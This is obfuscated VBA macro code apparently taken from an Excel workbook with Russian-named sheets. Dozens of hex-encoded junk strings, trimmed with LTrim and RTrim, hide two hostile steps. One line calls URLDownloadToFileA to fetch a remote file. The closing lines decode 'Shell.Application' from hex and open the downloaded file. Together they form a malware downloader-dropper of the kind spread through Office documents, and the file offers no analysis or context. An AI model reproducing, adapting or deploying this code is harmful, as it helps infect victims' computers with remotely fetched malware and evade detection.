Dim MQbkcItb, oATWZlji, QSMGsJNA As String
MQbkcItb = гпгнаНШвап("2020202020202020202020444144435841202020202020202020202020202020")
oATWZlji = LTrim(MQbkcItb)
QSMGsJNA = RTrim(oATWZlji)

LHpkuZEI = гпгнаНШвап("2020202020202020202020535254434642202020202020202020202020202020")
Dim mrIEEfuy, lFshAhDR, TMVlrrHG As String
mrIEEfuy = гпгнаНШвап("20202020202020202020204F445456454F202020202020202020202020202020")
lFshAhDR = LTrim(mrIEEfuy)
TMVlrrHG = RTrim(lFshAhDR)

iThWsgFj = LTrim(LHpkuZEI)
Dim BVCulIkO, MBulFDGP, HBkRoJdQ As String
BVCulIkO = гпгнаНШвап("2020202020202020202020594441495A51202020202020202020202020202020")
MBulFDGP = LTrim(BVCulIkO)
HBkRoJdQ = RTrim(MBulFDGP)

PJRGXQcP = RTrim(iThWsgFj)

Dim UwdPsCNT, bSemzrgo, tUQHhbuN As String
UwdPsCNT = гпгнаНШвап("20202020202020202020205441584B4150202020202020202020202020202020")
bSemzrgo = LTrim(UwdPsCNT)
tUQHhbuN = RTrim(bSemzrgo)

IGLrmosJ = гпгнаНШвап("2020202020202020202020434F42555A56202020202020202020202020202020")
Dim nleOgWMJ, SvGSJOVz, PolvGQEn As String
Dim xBvZBroS, BqDxIAKu, faKNFfrG As String
xBvZBroS = гпгнаНШвап("2020202020202020202020494C48504254202020202020202020202020202020")
BqDxIAKu = LTrim(xBvZBroS)
faKNFfrG = RTrim(BqDxIAKu)

nleOgWMJ = гпгнаНШвап("2020202020202020202020514D4741574E202020202020202020202020202020")
Dim pKlIahvf, wVyQZrAv, lOOcnyiV As String
pKlIahvf = гпгнаНШвап("20202020202020202020204549564E4650202020202020202020202020202020")
wVyQZrAv = LTrim(pKlIahvf)
lOOcnyiV = RTrim(wVyQZrAv)

SvGSJOVz = LTrim(nleOgWMJ)
Dim MrSBPRUq, GrXsrIts, PtycvDZd As String
MrSBPRUq = гпгнаНШвап("202020202020202020202045485754504F202020202020202020202020202020")
GrXsrIts = LTrim(MrSBPRUq)
PtycvDZd = RTrim(GrXsrIts)

PolvGQEn = RTrim(SvGSJOVz)

Dim KYElIZWh, cAqFXCSi, hKzbSrzQ As String
KYElIZWh = гпгнаНШвап("202020202020202020202051555450444E202020202020202020202020202020")
cAqFXCSi = LTrim(KYElIZWh)
hKzbSrzQ = RTrim(cAqFXCSi)

EHrhGfOK = LTrim(IGLrmosJ)
Dim gaJhlyDs, qzaAFqqd, yeqDogUf As String
Dim PMoDNYdW, BPfjylvE, fnlMqrOs As String
PMoDNYdW = гпгнаНШвап("2020202020202020202020495952555041202020202020202020202020202020")
BPfjylvE = LTrim(PMoDNYdW)
fnlMqrOs = RTrim(BPfjylvE)

gaJhlyDs = гпгнаНШвап("2020202020202020202020464756444143202020202020202020202020202020")
Dim EruYMSnG, GpLOxbEN, DWxxmApv As String
EruYMSnG = гпгнаНШвап("202020202020202020202044444A4E5157202020202020202020202020202020")
GpLOxbEN = LTrim(EruYMSnG)
DWxxmApv = RTrim(GpLOxbEN)

qzaAFqqd = LTrim(gaJhlyDs)
Dim hBKviCJo, sNzQAzgp, uadCXySs As String
hBKviCJo = гпгнаНШвап("20202020202020202020204646564A574B202020202020202020202020202020")
sNzQAzgp = LTrim(hBKviCJo)
uadCXySs = RTrim(sNzQAzgp)

yeqDogUf = RTrim(qzaAFqqd)

Dim jselPLfS, XiQGCfyE, AelppOCw As String
jselPLfS = гпгнаНШвап("20202020202020202020204853445A5647202020202020202020202020202020")
XiQGCfyE = LTrim(jselPLfS)
AelppOCw = RTrim(XiQGCfyE)

bJfAokuL = RTrim(EHrhGfOK)

Dim gwwSvtMM, MjeuQnSS, bsQAVWER As String
Dim oTqIUtsg, QHbZjZWI, NYRyxfuj As String
oTqIUtsg = гпгнаНШвап("2020202020202020202020414F50444859202020202020202020202020202020")
QHbZjZWI = LTrim(oTqIUtsg)
NYRyxfuj = RTrim(QHbZjZWI)

gwwSvtMM = гпгнаНШвап("2020202020202020202020474A58514C57202020202020202020202020202020")
Dim QOYQmnMB, CGlFXgVp, pWtJvzam As String
QOYQmnMB = гпгнаНШвап("20202020202020202020204A45525A5647202020202020202020202020202020")
CGlFXgVp = LTrim(QOYQmnMB)
pWtJvzam = RTrim(CGlFXgVp)

MjeuQnSS = LTrim(gwwSvtMM)
Dim wMBerFeW, jWogcLnC, dXlnKCVV As String
wMBerFeW = гпгнаНШвап("20202020202020202020204A515A594C46202020202020202020202020202020")
jWogcLnC = LTrim(wMBerFeW)
dXlnKCVV = RTrim(jWogcLnC)

bsQAVWER = RTrim(MjeuQnSS)

Dim UKBDYvFS, noHvcTrh, yrcLPNWi As String
UKBDYvFS = гпгнаНШвап("20202020202020202020205444484D5356202020202020202020202020202020")
noHvcTrh = LTrim(UKBDYvFS)
yrcLPNWi = RTrim(noHvcTrh)

    МРОл = URLDownloadToFileA(0&, щРгшпыва, ЩРгшпшгва, 0&, 0&)
Dim AVWQyjGZ, yMZulQYm, BqlJpKWV As String
Dim onDuWqte, QSaaTIFc, NZuRPlNy As String
Dim VlNcqeCW, nRgkMnYg, GmlWBsKC As String
VlNcqeCW = гпгнаНШвап("2020202020202020202020584552495252202020202020202020202020202020")
nRgkMnYg = LTrim(VlNcqeCW)
GmlWBsKC = RTrim(nRgkMnYg)

onDuWqte = гпгнаНШвап("2020202020202020202020415556424349202020202020202020202020202020")
Dim plMOHFBx, wvYSkZeU, URlGMjyJ As String
plMOHFBx = гпгнаНШвап("20202020202020202020205054474F5647202020202020202020202020202020")
wvYSkZeU = LTrim(plMOHFBx)
URlGMjyJ = RTrim(wvYSkZeU)

QSaaTIFc = LTrim(onDuWqte)
Dim EvPpklZo, vvMwScNq, mbrUuZcs As String
EvPpklZo = гпгнаНШвап("2020202020202020202020574E4D504E45202020202020202020202020202020")
vvMwScNq = LTrim(EvPpklZo)
mbrUuZcs = RTrim(vvMwScNq)

NZuRPlNy = RTrim(QSaaTIFc)

Dim ZCKjehcQ, iKbQhPgE, NojxyJRu As String
ZCKjehcQ = гпгнаНШвап("20202020202020202020204547534F434C202020202020202020202020202020")
iKbQhPgE = LTrim(ZCKjehcQ)
NojxyJRu = RTrim(iKbQhPgE)

AVWQyjGZ = гпгнаНШвап("20202020202020202020205A48464C564D202020202020202020202020202020")
Dim WlIdCxmR, ibmhvpvG, lTulaVAN As String
Dim TXdbmorR, MSkebMhd, xCYCokBU As String
TXdbmorR = гпгнаНШвап("20202020202020202020205955594E4D46202020202020202020202020202020")
MSkebMhd = LTrim(TXdbmorR)
xCYCokBU = RTrim(MSkebMhd)

WlIdCxmR = гпгнаНШвап("2020202020202020202020585754485344202020202020202020202020202020")
Dim iaIZuRSh, uQsgtYkF, lJVkUlmB As String
iaIZuRSh = гпгнаНШвап("20202020202020202020205A5354434A4A202020202020202020202020202020")
uQsgtYkF = LTrim(iaIZuRSh)
lJVkUlmB = RTrim(uQsgtYkF)

ibmhvpvG = LTrim(WlIdCxmR)
Dim mNcpWcke, haIwhZGr, szKUPYdt As String
mNcpWcke = гпгнаНШвап("20202020202020202020204A4646504759202020202020202020202020202020")
haIwhZGr = LTrim(mNcpWcke)
szKUPYdt = RTrim(haIwhZGr)

lTulaVAN = RTrim(ibmhvpvG)

Dim UVvMvieL, sLyhQZWQ, JGFPVVSZ As String
UVvMvieL = гпгнаНШвап("2020202020202020202020565456474C58202020202020202020202020202020")
sLyhQZWQ = LTrim(UVvMvieL)
JGFPVVSZ = RTrim(sLyhQZWQ)

yMZulQYm = LTrim(AVWQyjGZ)
Dim aiBPojLo, XooXEmjp, KpliVbFs As String
Dim rOtudYtJ, YMlaXrFq, WPvTzGNL As String
rOtudYtJ = гпгнаНШвап("20202020202020202020204251554E594C202020202020202020202020202020")
YMlaXrFq = LTrim(rOtudYtJ)
WPvTzGNL = RTrim(YMlaXrFq)

aiBPojLo = гпгнаНШвап("2020202020202020202020554B5A43585A202020202020202020202020202020")
Dim SrEVLWQM, VphamOGt, XWLDlQmE As String
SrEVLWQM = гпгнаНШвап("20202020202020202020204A444549504E202020202020202020202020202020")
VphamOGt = LTrim(SrEVLWQM)
XWLDlQmE = RTrim(VphamOGt)

XooXEmjp = LTrim(aiBPojLo)
Dim aGUxfRVQ, XHJOIOwS, KJaWzDKF As String
aGUxfRVQ = гпгнаНШвап("2020202020202020202020554F4C48564F202020202020202020202020202020")
XHJOIOwS = LTrim(aGUxfRVQ)
KJaWzDKF = RTrim(XHJOIOwS)

KpliVbFs = RTrim(XooXEmjp)

Dim tOATyxpo, VBljXEvS, EWNQoVjR As String
tOATyxpo = гпгнаНШвап("20202020202020202020204A4952485658202020202020202020202020202020")
VBljXEvS = LTrim(tOATyxpo)
EWNQoVjR = RTrim(VBljXEvS)

BqlJpKWV = RTrim(yMZulQYm)

Dim GJDjfAQE, IiRzrIau, fesxjeKB As String
Dim BPfcmwwf, AWZkrLtU, HQUWpRjh As String
BPfcmwwf = гпгнаНШвап("2020202020202020202020585151495046202020202020202020202020202020")
AWZkrLtU = LTrim(BPfcmwwf)
HQUWpRjh = RTrim(AWZkrLtU)

GJDjfAQE = гпгнаНШвап("20202020202020202020204F53504F5A42202020202020202020202020202020")
Dim kNqxLawu, EyXbwGbk, AJbdlJtH As String
kNqxLawu = гпгнаНШвап("202020202020202020202055514C575145202020202020202020202020202020")
EyXbwGbk = LTrim(kNqxLawu)
AJbdlJtH = RTrim(EyXbwGbk)

IiRzrIau = LTrim(GJDjfAQE)
Dim gYQtuazG, qYWjAybH, yUyZWpCJ As String
gYQtuazG = гпгнаНШвап("202020202020202020202046525755574D202020202020202020202020202020")
qYWjAybH = LTrim(gYQtuazG)
yUyZWpCJ = RTrim(qYWjAybH)

fesxjeKB = RTrim(IiRzrIau)

Dim rlpyFjqx, IfJnzSzg, ARIsKLkK As String
rlpyFjqx = гпгнаНШвап("2020202020202020202020484E5745484D202020202020202020202020202020")
IfJnzSzg = LTrim(rlpyFjqx)
ARIsKLkK = RTrim(IfJnzSzg)

    Set зОШЩпршщва = CreateObject(гпгнаНШвап("5368656C6C2E4170706C69636174696F6E"))
зОШЩпршщва.Open ЩРгшпшгва
End Sub



Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True